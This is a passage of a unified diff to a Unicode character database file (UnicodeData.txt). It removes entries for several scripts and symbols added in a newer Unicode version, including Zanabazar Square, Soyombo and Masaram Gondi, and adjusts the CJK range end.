d89c64f526ae..a756976461bf 100644 --- a/lib/unicore/UnicodeData.txt +++ b/lib/unicore/UnicodeData.txt @@ -2072,17 +2072,6 @@ 085A;MANDAIC VOCALIZATION MARK;Mn;220;NSM;;;;;N;;;;; 085B;MANDAIC GEMINATION MARK;Mn;220;NSM;;;;;N;;;;; 085E;MANDAIC PUNCTUATION;Po;0;R;;;;;N;;;;; -0860;SYRIAC LETTER MALAYALAM NGA;Lo;0;AL;;;;;N;;;;; -0861;SYRIAC LETTER MALAYALAM JA;Lo;0;AL;;;;;N;;;;; -0862;SYRIAC LETTER MALAYALAM NYA;Lo;0;AL;;;;;N;;;;; -0863;SYRIAC LETTER MALAYALAM TTA;Lo;0;AL;;;;;N;;;;; -0864;SYRIAC LETTER MALAYALAM NNA;Lo;0;AL;;;;;N;;;;; -0865;SYRIAC LETTER MALAYALAM NNNA;Lo;0;AL;;;;;N;;;;; -0866;SYRIAC LETTER MALAYALAM BHA;Lo;0;AL;;;;;N;;;;; -0867;SYRIAC LETTER MALAYALAM RA;Lo;0;AL;;;;;N;;;;; -0868;SYRIAC LETTER MALAYALAM LLA;Lo;0;AL;;;;;N;;;;; -0869;SYRIAC LETTER MALAYALAM LLLA;Lo;0;AL;;;;;N;;;;; -086A;SYRIAC LETTER MALAYALAM SSA;Lo;0;AL;;;;;N;;;;; 08A0;ARABIC LETTER BEH WITH SMALL V BELOW;Lo;0;AL;;;;;N;;;;; 08A1;ARABIC LETTER BEH WITH HAMZA ABOVE;Lo;0;AL;;;;;N;;;;; 08A2;ARABIC LETTER JEEM WITH TWO DOTS ABOVE;Lo;0;AL;;;;;N;;;;; @@ -2377,8 +2366,6 @@ 09F9;BENGALI CURRENCY DENOMINATOR SIXTEEN;No;0;L;;;;16;N;;;;; 09FA;BENGALI ISSHAR;So;0;L;;;;;N;;;;; 09FB;BENGALI GANDA MARK;Sc;0;ET;;;;;N;;;;; -09FC;BENGALI LETTER VEDIC ANUSVARA;Lo;0;L;;;;;N;;;;; -09FD;BENGALI ABBREVIATION SIGN;Po;0;L;;;;;N;;;;; 0A01;GURMUKHI SIGN ADAK BINDI;Mn;0;NSM;;;;;N;;;;; 0A02;GURMUKHI SIGN BINDI;Mn;0;NSM;;;;;N;;;;; 0A03;GURMUKHI SIGN VISARGA;Mc;0;L;;;;;N;;;;; @@ -2543,12 +2530,6 @@ 0AF0;GUJARATI ABBREVIATION SIGN;Po;0;L;;;;;N;;;;; 0AF1;GUJARATI RUPEE SIGN;Sc;0;ET;;;;;N;;;;; 0AF9;GUJARATI LETTER ZHA;Lo;0;L;;;;;N;;;;; -0AFA;GUJARATI SIGN SUKUN;Mn;0;NSM;;;;;N;;;;; -0AFB;GUJARATI SIGN SHADDA;Mn;0;NSM;;;;;N;;;;; -0AFC;GUJARATI SIGN MADDAH;Mn;0;NSM;;;;;N;;;;; -0AFD;GUJARATI SIGN THREE-DOT NUKTA ABOVE;Mn;0;NSM;;;;;N;;;;; -0AFE;GUJARATI SIGN CIRCLE NUKTA ABOVE;Mn;0;NSM;;;;;N;;;;; -0AFF;GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE;Mn;0;NSM;;;;;N;;;;; 0B01;ORIYA SIGN CANDRABINDU;Mn;0;NSM;;;;;N;;;;; 0B02;ORIYA SIGN ANUSVARA;Mc;0;L;;;;;N;;;;; 0B03;ORIYA SIGN VISARGA;Mc;0;L;;;;;N;;;;; @@ -2895,7 +2876,6 @@ 0CEF;KANNADA DIGIT NINE;Nd;0;L;;9;9;9;N;;;;; 0CF1;KANNADA SIGN JIHVAMULIYA;Lo;0;L;;;;;N;;;;; 0CF2;KANNADA SIGN UPADHMANIYA;Lo;0;L;;;;;N;;;;; -0D00;MALAYALAM SIGN COMBINING ANUSVARA ABOVE;Mn;0;NSM;;;;;N;;;;; 0D01;MALAYALAM SIGN CANDRABINDU;Mn;0;NSM;;;;;N;;;;; 0D02;MALAYALAM SIGN ANUSVARA;Mc;0;L;;;;;N;;;;; 0D03;MALAYALAM SIGN VISARGA;Mc;0;L;;;;;N;;;;; @@ -2951,8 +2931,6 @@ 0D38;MALAYALAM LETTER SA;Lo;0;L;;;;;N;;;;; 0D39;MALAYALAM LETTER HA;Lo;0;L;;;;;N;;;;; 0D3A;MALAYALAM LETTER TTTA;Lo;0;L;;;;;N;;;;; -0D3B;MALAYALAM SIGN VERTICAL BAR VIRAMA;Mn;9;NSM;;;;;N;;;;; -0D3C;MALAYALAM SIGN CIRCULAR VIRAMA;Mn;9;NSM;;;;;N;;;;; 0D3D;MALAYALAM SIGN AVAGRAHA;Lo;0;L;;;;;N;;;;; 0D3E;MALAYALAM VOWEL SIGN AA;Mc;0;L;;;;;N;;;;; 0D3F;MALAYALAM VOWEL SIGN I;Mc;0;L;;;;;N;;;;; @@ -6435,7 +6413,6 @@ 1CF4;VEDIC TONE CANDRA ABOVE;Mn;230;NSM;;;;;N;;;;; 1CF5;VEDIC SIGN JIHVAMULIYA;Lo;0;L;;;;;N;;;;; 1CF6;VEDIC SIGN UPADHMANIYA;Lo;0;L;;;;;N;;;;; -1CF7;VEDIC SIGN ATIKRAMA;Mc;0;L;;;;;N;;;;; 1CF8;VEDIC TONE RING ABOVE;Mn;230;NSM;;;;;N;;;;; 1CF9;VEDIC TONE DOUBLE RING ABOVE;Mn;230;NSM;;;;;N;;;;; 1D00;LATIN LETTER SMALL CAPITAL A;Ll;0;L;;;;;N;;;;; @@ -6684,10 +6661,6 @@ 1DF3;COMBINING LATIN SMALL LETTER O WITH DIAERESIS;Mn;230;NSM;;;;;N;;;;; 1DF4;COMBINING LATIN SMALL LETTER U WITH DIAERESIS;Mn;230;NSM;;;;;N;;;;; 1DF5;COMBINING UP TACK ABOVE;Mn;230;NSM;;;;;N;;;;; -1DF6;COMBINING KAVYKA ABOVE RIGHT;Mn;232;NSM;;;;;N;;;;; -1DF7;COMBINING KAVYKA ABOVE LEFT;Mn;228;NSM;;;;;N;;;;; -1DF8;COMBINING DOT ABOVE LEFT;Mn;228;NSM;;;;;N;;;;; -1DF9;COMBINING WIDE INVERTED BRIDGE BELOW;Mn;220;NSM;;;;;N;;;;; 1DFB;COMBINING DELETION MARK;Mn;230;NSM;;;;;N;;;;; 1DFC;COMBINING DOUBLE INVERTED BREVE BELOW;Mn;233;NSM;;;;;N;;;;; 1DFD;COMBINING ALMOST EQUAL TO BELOW;Mn;220;NSM;;;;;N;;;;; @@ -7366,7 +7339,6 @@ 20BC;MANAT SIGN;Sc;0;ET;;;;;N;;;;; 20BD;RUBLE SIGN;Sc;0;ET;;;;;N;;;;; 20BE;LARI SIGN;Sc;0;ET;;;;;N;;;;; -20BF;BITCOIN SIGN;Sc;0;ET;;;;;N;;;;; 20D0;COMBINING LEFT HARPOON ABOVE;Mn;230;NSM;;;;;N;NON-SPACING LEFT HARPOON ABOVE;;;; 20D1;COMBINING RIGHT HARPOON ABOVE;Mn;230;NSM;;;;;N;NON-SPACING RIGHT HARPOON ABOVE;;;; 20D2;COMBINING LONG VERTICAL LINE OVERLAY;Mn;1;NSM;;;;;N;NON-SPACING LONG VERTICAL BAR OVERLAY;;;; @@ -8163,7 +8135,6 @@ 23FC;POWER ON-OFF SYMBOL;So;0;ON;;;;;N;;;;; 23FD;POWER ON SYMBOL;So;0;ON;;;;;N;;;;; 23FE;POWER SLEEP SYMBOL;So;0;ON;;;;;N;;;;; -23FF;OBSERVER EYE SYMBOL;So;0;ON;;;;;N;;;;; 2400;SYMBOL FOR NULL;So;0;ON;;;;;N;GRAPHIC FOR NULL;;;; 2401;SYMBOL FOR START OF HEADING;So;0;ON;;;;;N;GRAPHIC FOR START OF HEADING;;;; 2402;SYMBOL FOR START OF TEXT;So;0;ON;;;;;N;GRAPHIC FOR START OF TEXT;;;; @@ -10112,7 +10083,6 @@ 2BCF;ROTATED WHITE FOUR POINTED CUSP;So;0;ON;;;;;N;;;;; 2BD0;SQUARE POSITION INDICATOR;So;0;ON;;;;;N;;;;; 2BD1;UNCERTAINTY SIGN;So;0;ON;;;;;N;;;;; -2BD2;GROUP MARK;So;0;ON;;;;;N;;;;; 2BEC;LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS;So;0;ON;;;;;N;;;;; 2BED;UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS;So;0;ON;;;;;N;;;;; 2BEE;RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS;So;0;ON;;;;;N;;;;; @@ -10645,11 +10615,6 @@ 2E42;DOUBLE LOW-REVERSED-9 QUOTATION MARK;Ps;0;ON;;;;;N;;;;; 2E43;DASH WITH LEFT UPTURN;Po;0;ON;;;;;N;;;;; 2E44;DOUBLE SUSPENSION MARK;Po;0;ON;;;;;N;;;;; -2E45;INVERTED LOW KAVYKA;Po;0;ON;;;;;N;;;;; -2E46;INVERTED LOW KAVYKA WITH KAVYKA ABOVE;Po;0;ON;;;;;N;;;;; -2E47;LOW KAVYKA;Po;0;ON;;;;;N;;;;; -2E48;LOW KAVYKA WITH DOT;Po;0;ON;;;;;N;;;;; -2E49;DOUBLE STACKED COMMA;Po;0;ON;;;;;N;;;;; 2E80;CJK RADICAL REPEAT;So;0;ON;;;;;N;;;;; 2E81;CJK RADICAL CLIFF;So;0;ON;;;;;N;;;;; 2E82;CJK RADICAL SECOND ONE;So;0;ON;;;;;N;;;;; @@ -11285,7 +11250,6 @@ 312B;BOPOMOFO LETTER NG;Lo;0;L;;;;;N;;;;; 312C;BOPOMOFO LETTER GN;Lo;0;L;;;;;N;;;;; 312D;BOPOMOFO LETTER IH;Lo;0;L;;;;;N;;;;; -312E;BOPOMOFO LETTER O WITH DOT ABOVE;Lo;0;L;;;;;N;;;;; 3131;HANGUL LETTER KIYEOK;Lo;0;L; 1100;;;;N;HANGUL LETTER GIYEOG;;;; 3132;HANGUL LETTER SSANGKIYEOK;Lo;0;L; 1101;;;;N;HANGUL LETTER SSANG GIYEOG;;;; 3133;HANGUL LETTER KIYEOK-SIOS;Lo;0;L; 11AA;;;;N;HANGUL LETTER GIYEOG SIOS;;;; @@ -12052,7 +12016,7 @@ 4DFE;HEXAGRAM FOR AFTER COMPLETION;So;0;ON;;;;;N;;;;; 4DFF;HEXAGRAM FOR BEFORE COMPLETION;So;0;ON;;;;;N;;;;; 4E00;;Lo;0;L;;;;;N;;;;; -9FEA;;Lo;0;L;;;;;N;;;;; +9FD5;;Lo;0;L;;;;;N;;;;; A000;YI SYLLABLE IT;Lo;0;L;;;;;N;;;;; A001;YI SYLLABLE IX;Lo;0;L;;;;;N;;;;; A002;YI SYLLABLE I;Lo;0;L;;;;;N;;;;; @@ -17129,9 +17093,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 10321;OLD ITALIC NUMERAL FIVE;No;0;L;;;;5;N;;;;; 10322;OLD ITALIC NUMERAL TEN;No;0;L;;;;10;N;;;;; 10323;OLD ITALIC NUMERAL FIFTY;No;0;L;;;;50;N;;;;; -1032D;OLD ITALIC LETTER YE;Lo;0;L;;;;;N;;;;; -1032E;OLD ITALIC LETTER NORTHERN TSE;Lo;0;L;;;;;N;;;;; -1032F;OLD ITALIC LETTER SOUTHERN TSE;Lo;0;L;;;;;N;;;;; 10330;GOTHIC LETTER AHSA;Lo;0;L;;;;;N;;;;; 10331;GOTHIC LETTER BAIRKAN;Lo;0;L;;;;;N;;;;; 10332;GOTHIC LETTER GIBA;Lo;0;L;;;;;N;;;;; @@ -20107,158 +20068,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 118F1;WARANG CITI NUMBER EIGHTY;No;0;L;;;;80;N;;;;; 118F2;WARANG CITI NUMBER NINETY;No;0;L;;;;90;N;;;;; 118FF;WARANG CITI OM;Lo;0;L;;;;;N;;;;; -11A00;ZANABAZAR SQUARE LETTER A;Lo;0;L;;;;;N;;;;; -11A01;ZANABAZAR SQUARE VOWEL SIGN I;Mn;0;NSM;;;;;N;;;;; -11A02;ZANABAZAR SQUARE VOWEL SIGN UE;Mn;0;NSM;;;;;N;;;;; -11A03;ZANABAZAR SQUARE VOWEL SIGN U;Mn;0;NSM;;;;;N;;;;; -11A04;ZANABAZAR SQUARE VOWEL SIGN E;Mn;0;NSM;;;;;N;;;;; -11A05;ZANABAZAR SQUARE VOWEL SIGN OE;Mn;0;NSM;;;;;N;;;;; -11A06;ZANABAZAR SQUARE VOWEL SIGN O;Mn;0;NSM;;;;;N;;;;; -11A07;ZANABAZAR SQUARE VOWEL SIGN AI;Mc;0;L;;;;;N;;;;; -11A08;ZANABAZAR SQUARE VOWEL SIGN AU;Mc;0;L;;;;;N;;;;; -11A09;ZANABAZAR SQUARE VOWEL SIGN REVERSED I;Mn;0;NSM;;;;;N;;;;; -11A0A;ZANABAZAR SQUARE VOWEL LENGTH MARK;Mn;0;NSM;;;;;N;;;;; -11A0B;ZANABAZAR SQUARE LETTER KA;Lo;0;L;;;;;N;;;;; -11A0C;ZANABAZAR SQUARE LETTER KHA;Lo;0;L;;;;;N;;;;; -11A0D;ZANABAZAR SQUARE LETTER GA;Lo;0;L;;;;;N;;;;; -11A0E;ZANABAZAR SQUARE LETTER GHA;Lo;0;L;;;;;N;;;;; -11A0F;ZANABAZAR SQUARE LETTER NGA;Lo;0;L;;;;;N;;;;; -11A10;ZANABAZAR SQUARE LETTER CA;Lo;0;L;;;;;N;;;;; -11A11;ZANABAZAR SQUARE LETTER CHA;Lo;0;L;;;;;N;;;;; -11A12;ZANABAZAR SQUARE LETTER JA;Lo;0;L;;;;;N;;;;; -11A13;ZANABAZAR SQUARE LETTER NYA;Lo;0;L;;;;;N;;;;; -11A14;ZANABAZAR SQUARE LETTER TTA;Lo;0;L;;;;;N;;;;; -11A15;ZANABAZAR SQUARE LETTER TTHA;Lo;0;L;;;;;N;;;;; -11A16;ZANABAZAR SQUARE LETTER DDA;Lo;0;L;;;;;N;;;;; -11A17;ZANABAZAR SQUARE LETTER DDHA;Lo;0;L;;;;;N;;;;; -11A18;ZANABAZAR SQUARE LETTER NNA;Lo;0;L;;;;;N;;;;; -11A19;ZANABAZAR SQUARE LETTER TA;Lo;0;L;;;;;N;;;;; -11A1A;ZANABAZAR SQUARE LETTER THA;Lo;0;L;;;;;N;;;;; -11A1B;ZANABAZAR SQUARE LETTER DA;Lo;0;L;;;;;N;;;;; -11A1C;ZANABAZAR SQUARE LETTER DHA;Lo;0;L;;;;;N;;;;; -11A1D;ZANABAZAR SQUARE LETTER NA;Lo;0;L;;;;;N;;;;; -11A1E;ZANABAZAR SQUARE LETTER PA;Lo;0;L;;;;;N;;;;; -11A1F;ZANABAZAR SQUARE LETTER PHA;Lo;0;L;;;;;N;;;;; -11A20;ZANABAZAR SQUARE LETTER BA;Lo;0;L;;;;;N;;;;; -11A21;ZANABAZAR SQUARE LETTER BHA;Lo;0;L;;;;;N;;;;; -11A22;ZANABAZAR SQUARE LETTER MA;Lo;0;L;;;;;N;;;;; -11A23;ZANABAZAR SQUARE LETTER TSA;Lo;0;L;;;;;N;;;;; -11A24;ZANABAZAR SQUARE LETTER TSHA;Lo;0;L;;;;;N;;;;; -11A25;ZANABAZAR SQUARE LETTER DZA;Lo;0;L;;;;;N;;;;; -11A26;ZANABAZAR SQUARE LETTER DZHA;Lo;0;L;;;;;N;;;;; -11A27;ZANABAZAR SQUARE LETTER ZHA;Lo;0;L;;;;;N;;;;; -11A28;ZANABAZAR SQUARE LETTER ZA;Lo;0;L;;;;;N;;;;; -11A29;ZANABAZAR SQUARE LETTER -A;Lo;0;L;;;;;N;;;;; -11A2A;ZANABAZAR SQUARE LETTER YA;Lo;0;L;;;;;N;;;;; -11A2B;ZANABAZAR SQUARE LETTER RA;Lo;0;L;;;;;N;;;;; -11A2C;ZANABAZAR SQUARE LETTER LA;Lo;0;L;;;;;N;;;;; -11A2D;ZANABAZAR SQUARE LETTER VA;Lo;0;L;;;;;N;;;;; -11A2E;ZANABAZAR SQUARE LETTER SHA;Lo;0;L;;;;;N;;;;; -11A2F;ZANABAZAR SQUARE LETTER SSA;Lo;0;L;;;;;N;;;;; -11A30;ZANABAZAR SQUARE LETTER SA;Lo;0;L;;;;;N;;;;; -11A31;ZANABAZAR SQUARE LETTER HA;Lo;0;L;;;;;N;;;;; -11A32;ZANABAZAR SQUARE LETTER KSSA;Lo;0;L;;;;;N;;;;; -11A33;ZANABAZAR SQUARE FINAL CONSONANT MARK;Mn;0;NSM;;;;;N;;;;; -11A34;ZANABAZAR SQUARE SIGN VIRAMA;Mn;9;NSM;;;;;N;;;;; -11A35;ZANABAZAR SQUARE SIGN CANDRABINDU;Mn;0;NSM;;;;;N;;;;; -11A36;ZANABAZAR SQUARE SIGN CANDRABINDU WITH ORNAMENT;Mn;0;NSM;;;;;N;;;;; -11A37;ZANABAZAR SQUARE SIGN CANDRA WITH ORNAMENT;Mn;0;NSM;;;;;N;;;;; -11A38;ZANABAZAR SQUARE SIGN ANUSVARA;Mn;0;NSM;;;;;N;;;;; -11A39;ZANABAZAR SQUARE SIGN VISARGA;Mc;0;L;;;;;N;;;;; -11A3A;ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA;Lo;0;L;;;;;N;;;;; -11A3B;ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA;Mn;0;NSM;;;;;N;;;;; -11A3C;ZANABAZAR SQUARE CLUSTER-FINAL LETTER RA;Mn;0;NSM;;;;;N;;;;; -11A3D;ZANABAZAR SQUARE CLUSTER-FINAL LETTER LA;Mn;0;NSM;;;;;N;;;;; -11A3E;ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA;Mn;0;NSM;;;;;N;;;;; -11A3F;ZANABAZAR SQUARE INITIAL HEAD MARK;Po;0;L;;;;;N;;;;; -11A40;ZANABAZAR SQUARE CLOSING HEAD MARK;Po;0;L;;;;;N;;;;; -11A41;ZANABAZAR SQUARE MARK TSHEG;Po;0;L;;;;;N;;;;; -11A42;ZANABAZAR SQUARE MARK SHAD;Po;0;L;;;;;N;;;;; -11A43;ZANABAZAR SQUARE MARK DOUBLE SHAD;Po;0;L;;;;;N;;;;; -11A44;ZANABAZAR SQUARE MARK LONG TSHEG;Po;0;L;;;;;N;;;;; -11A45;ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK;Po;0;L;;;;;N;;;;; -11A46;ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK;Po;0;L;;;;;N;;;;; -11A47;ZANABAZAR SQUARE SUBJOINER;Mn;9;NSM;;;;;N;;;;; -11A50;SOYOMBO LETTER A;Lo;0;L;;;;;N;;;;; -11A51;SOYOMBO VOWEL SIGN I;Mn;0;NSM;;;;;N;;;;; -11A52;SOYOMBO VOWEL SIGN UE;Mn;0;NSM;;;;;N;;;;; -11A53;SOYOMBO VOWEL SIGN U;Mn;0;NSM;;;;;N;;;;; -11A54;SOYOMBO VOWEL SIGN E;Mn;0;NSM;;;;;N;;;;; -11A55;SOYOMBO VOWEL SIGN O;Mn;0;NSM;;;;;N;;;;; -11A56;SOYOMBO VOWEL SIGN OE;Mn;0;NSM;;;;;N;;;;; -11A57;SOYOMBO VOWEL SIGN AI;Mc;0;L;;;;;N;;;;; -11A58;SOYOMBO VOWEL SIGN AU;Mc;0;L;;;;;N;;;;; -11A59;SOYOMBO VOWEL SIGN VOCALIC R;Mn;0;NSM;;;;;N;;;;; -11A5A;SOYOMBO VOWEL SIGN VOCALIC L;Mn;0;NSM;;;;;N;;;;; -11A5B;SOYOMBO VOWEL LENGTH MARK;Mn;0;NSM;;;;;N;;;;; -11A5C;SOYOMBO LETTER KA;Lo;0;L;;;;;N;;;;; -11A5D;SOYOMBO LETTER KHA;Lo;0;L;;;;;N;;;;; -11A5E;SOYOMBO LETTER GA;Lo;0;L;;;;;N;;;;; -11A5F;SOYOMBO LETTER GHA;Lo;0;L;;;;;N;;;;; -11A60;SOYOMBO LETTER NGA;Lo;0;L;;;;;N;;;;; -11A61;SOYOMBO LETTER CA;Lo;0;L;;;;;N;;;;; -11A62;SOYOMBO LETTER CHA;Lo;0;L;;;;;N;;;;; -11A63;SOYOMBO LETTER JA;Lo;0;L;;;;;N;;;;; -11A64;SOYOMBO LETTER JHA;Lo;0;L;;;;;N;;;;; -11A65;SOYOMBO LETTER NYA;Lo;0;L;;;;;N;;;;; -11A66;SOYOMBO LETTER TTA;Lo;0;L;;;;;N;;;;; -11A67;SOYOMBO LETTER TTHA;Lo;0;L;;;;;N;;;;; -11A68;SOYOMBO LETTER DDA;Lo;0;L;;;;;N;;;;; -11A69;SOYOMBO LETTER DDHA;Lo;0;L;;;;;N;;;;; -11A6A;SOYOMBO LETTER NNA;Lo;0;L;;;;;N;;;;; -11A6B;SOYOMBO LETTER TA;Lo;0;L;;;;;N;;;;; -11A6C;SOYOMBO LETTER THA;Lo;0;L;;;;;N;;;;; -11A6D;SOYOMBO LETTER DA;Lo;0;L;;;;;N;;;;; -11A6E;SOYOMBO LETTER DHA;Lo;0;L;;;;;N;;;;; -11A6F;SOYOMBO LETTER NA;Lo;0;L;;;;;N;;;;; -11A70;SOYOMBO LETTER PA;Lo;0;L;;;;;N;;;;; -11A71;SOYOMBO LETTER PHA;Lo;0;L;;;;;N;;;;; -11A72;SOYOMBO LETTER BA;Lo;0;L;;;;;N;;;;; -11A73;SOYOMBO LETTER BHA;Lo;0;L;;;;;N;;;;; -11A74;SOYOMBO LETTER MA;Lo;0;L;;;;;N;;;;; -11A75;SOYOMBO LETTER TSA;Lo;0;L;;;;;N;;;;; -11A76;SOYOMBO LETTER TSHA;Lo;0;L;;;;;N;;;;; -11A77;SOYOMBO LETTER DZA;Lo;0;L;;;;;N;;;;; -11A78;SOYOMBO LETTER ZHA;Lo;0;L;;;;;N;;;;; -11A79;SOYOMBO LETTER ZA;Lo;0;L;;;;;N;;;;; -11A7A;SOYOMBO LETTER -A;Lo;0;L;;;;;N;;;;; -11A7B;SOYOMBO LETTER YA;Lo;0;L;;;;;N;;;;; -11A7C;SOYOMBO LETTER RA;Lo;0;L;;;;;N;;;;; -11A7D;SOYOMBO LETTER LA;Lo;0;L;;;;;N;;;;; -11A7E;SOYOMBO LETTER VA;Lo;0;L;;;;;N;;;;; -11A7F;SOYOMBO LETTER SHA;Lo;0;L;;;;;N;;;;; -11A80;SOYOMBO LETTER SSA;Lo;0;L;;;;;N;;;;; -11A81;SOYOMBO LETTER SA;Lo;0;L;;;;;N;;;;; -11A82;SOYOMBO LETTER HA;Lo;0;L;;;;;N;;;;; -11A83;SOYOMBO LETTER KSSA;Lo;0;L;;;;;N;;;;; -11A86;SOYOMBO CLUSTER-INITIAL LETTER RA;Lo;0;L;;;;;N;;;;; -11A87;SOYOMBO CLUSTER-INITIAL LETTER LA;Lo;0;L;;;;;N;;;;; -11A88;SOYOMBO CLUSTER-INITIAL LETTER SHA;Lo;0;L;;;;;N;;;;; -11A89;SOYOMBO CLUSTER-INITIAL LETTER SA;Lo;0;L;;;;;N;;;;; -11A8A;SOYOMBO FINAL CONSONANT SIGN G;Mn;0;NSM;;;;;N;;;;; -11A8B;SOYOMBO FINAL CONSONANT SIGN K;Mn;0;NSM;;;;;N;;;;; -11A8C;SOYOMBO FINAL CONSONANT SIGN NG;Mn;0;NSM;;;;;N;;;;; -11A8D;SOYOMBO FINAL CONSONANT SIGN D;Mn;0;NSM;;;;;N;;;;; -11A8E;SOYOMBO FINAL CONSONANT SIGN N;Mn;0;NSM;;;;;N;;;;; -11A8F;SOYOMBO FINAL CONSONANT SIGN B;Mn;0;NSM;;;;;N;;;;; -11A90;SOYOMBO FINAL CONSONANT SIGN M;Mn;0;NSM;;;;;N;;;;; -11A91;SOYOMBO FINAL CONSONANT SIGN R;Mn;0;NSM;;;;;N;;;;; -11A92;SOYOMBO FINAL CONSONANT SIGN L;Mn;0;NSM;;;;;N;;;;; -11A93;SOYOMBO FINAL CONSONANT SIGN SH;Mn;0;NSM;;;;;N;;;;; -11A94;SOYOMBO FINAL CONSONANT SIGN S;Mn;0;NSM;;;;;N;;;;; -11A95;SOYOMBO FINAL CONSONANT SIGN -A;Mn;0;NSM;;;;;N;;;;; -11A96;SOYOMBO SIGN ANUSVARA;Mn;0;NSM;;;;;N;;;;; -11A97;SOYOMBO SIGN VISARGA;Mc;0;L;;;;;N;;;;; -11A98;SOYOMBO GEMINATION MARK;Mn;0;NSM;;;;;N;;;;; -11A99;SOYOMBO SUBJOINER;Mn;9;NSM;;;;;N;;;;; -11A9A;SOYOMBO MARK TSHEG;Po;0;L;;;;;N;;;;; -11A9B;SOYOMBO MARK SHAD;Po;0;L;;;;;N;;;;; -11A9C;SOYOMBO MARK DOUBLE SHAD;Po;0;L;;;;;N;;;;; -11A9E;SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME;Po;0;L;;;;;N;;;;; -11A9F;SOYOMBO HEAD MARK WITH MOON AND SUN AND FLAME;Po;0;L;;;;;N;;;;; -11AA0;SOYOMBO HEAD MARK WITH MOON AND SUN;Po;0;L;;;;;N;;;;; -11AA1;SOYOMBO TERMINAL MARK-1;Po;0;L;;;;;N;;;;; -11AA2;SOYOMBO TERMINAL MARK-2;Po;0;L;;;;;N;;;;; 11AC0;PAU CIN HAU LETTER PA;Lo;0;L;;;;;N;;;;; 11AC1;PAU CIN HAU LETTER KA;Lo;0;L;;;;;N;;;;; 11AC2;PAU CIN HAU LETTER LA;Lo;0;L;;;;;N;;;;; @@ -20481,81 +20290,6 @@ FFFD;REPLACEMENT CHARACTER;So;0;ON;;;;;N;;;;; 11CB4;MARCHEN VOWEL SIGN O;Mc;0;L;;;;;N;;;;; 11CB5;MARCHEN SIGN ANUSVARA;Mn;0;NSM;;;;;N;;;;; 11CB6;MARCHEN SIGN CANDRABINDU;Mn;0;NSM;;;;;N;;;;; -11D00;MASARAM GONDI LETTER A;Lo;0;L;;;;;N;;;;; -11D01;MASARAM GONDI LETTER AA;Lo;0;L;;;;;N;;;;; -11D02;MASARAM GONDI LETTER I;Lo;0;L;;;;;N;;;;; -11D03;MASARAM GONDI LETTER II;Lo;0;L;;;;;N;;;;; -11D04;MASARAM GONDI LETTER U;Lo;0;L;;;;;N;;;;; -11D05;MASARAM GONDI LETTER UU;Lo;0;L;;;;;N;;;;; -11D06;MASARAM GONDI LETTER E;Lo;0;L;;;;;N;;;;; -11D08;MASARAM GONDI LETTER AI;Lo;0;L;;;;;N;;;;; -11D09;MASARAM GONDI LETTER O;Lo;0;L;;;;;N;;;;; -11D0B;MASARAM GONDI LETTER AU;Lo;0;L;;;;;N;;;;; -11D0C;MASARAM GONDI LETTER KA;Lo;0;L;;;;;N;;;;; -11D0D;MASARAM GONDI LETTER KHA;Lo;0;L;;;;;N;;;;; -11D0E;MASARAM GONDI LETTER GA;Lo;0;L;;;;;N;;;;; -11D0F;MASARAM GONDI LETTER GHA;Lo;0;L;;;;;N;;;;; -11D10;MASARAM GONDI LETTER NGA;Lo;0;L;;;;;N;;;;; -11D11;MASARAM GONDI LETTER CA;Lo;0;L;;;;;N;;;;; -11D12;MASARAM GONDI LETTER CHA;Lo;0;L;;;;;N;;;;; -11D13;MASARAM GONDI LETTER JA;Lo;0;L;;;;;N;;;;; -11D14;MASARAM GONDI LETTER JHA;Lo;0;L;;;;;N;;;;; -11D15;MASARAM GONDI LETTER NYA;Lo;0;L;;;;;N;;;;; -11D16;MASARAM GONDI LETTER TTA;Lo;0;L;;;;;N;;;;; -11D17;MASARAM GONDI LETTER TTHA;Lo;0;L;;;;;N;;;;; -11D18;MASARAM GONDI LETTER DDA;Lo;0;L;;;;;N;;;;; -11D19;MASARAM GONDI LETTER DDHA;Lo;0;L;;;;;N;;;;; -11D1A;MASARAM GONDI LETTER NNA;Lo;0;L;;;;;N;;;;; -11D1B;MASARAM GONDI LETTER TA;Lo;0;L;;;;;N;;;;; -11D1C;MASARAM GONDI LETTER THA;Lo;0;L;;;;;N;;;;; -11D1D;MASARAM GONDI LETTER DA;Lo;0;L;;;;;N;;;;; -11D1E;MASARAM GONDI LETTER DHA;Lo;0;L;;;;;N;;;;; -11D1F;MASARAM GONDI LETTER NA;Lo;0;L;;;;;N;;;;; -11D20;MASARAM GONDI LETTER PA;Lo;0;L;;;;;N;;;;; -11D21;MASARAM GONDI LETTER PHA;Lo;0;L;;;;;N;;;;; -11D22;MASARAM GONDI LETTER BA;Lo;0;L;;;;;N;;;;; -11D23;MASARAM GONDI LETTER BHA;Lo;0;L;;;;;N;;;;; -11D24;MASARAM GONDI LETTER MA;Lo;0;L;;;;;N;;;;; -11D25;MASARAM GONDI LETTER YA;Lo;0;L;;;;;N;;;;; -11D26;MASARAM GONDI LETTER RA;Lo;0;L;;;;;N;;;;; -11D27;MASARAM GONDI LETTER LA;Lo;0;L;;;;;N;;;;; -11D28;MASARAM GONDI LETTER VA;Lo;0;L;;;;;N;;;;; -11D29;MASARAM GONDI LETTER SHA;Lo;0;L;;;;;N;;;;; -11D2A;MASARAM GONDI LETTER SSA;Lo;0;L;;;;;N;;;;; -11D2B;MASARAM GONDI LETTER SA;Lo;0;L;;;;;N;;;;; -11D2C;MASARAM GONDI LETTER HA;Lo;0;L;;;;;N;;;;; -11D2D;MASARAM GONDI LETTER LLA;Lo;0;L;;;;;N;;;;; -11D2E;MASARAM GONDI LETTER KSSA;Lo;0;L;;;;;N;;;;; -11D2F;MASARAM GONDI LETTER JNYA;Lo;0;L;;;;;N;;;;; -11D30;MASARAM GONDI LETTER TRA;Lo;0;L;;;;;N;;;;; -11D31;MASARAM GONDI VOWEL SIGN AA;Mn;0;NSM;;;;;N;;;;; -11D32;MASARAM GONDI VOWEL SIGN 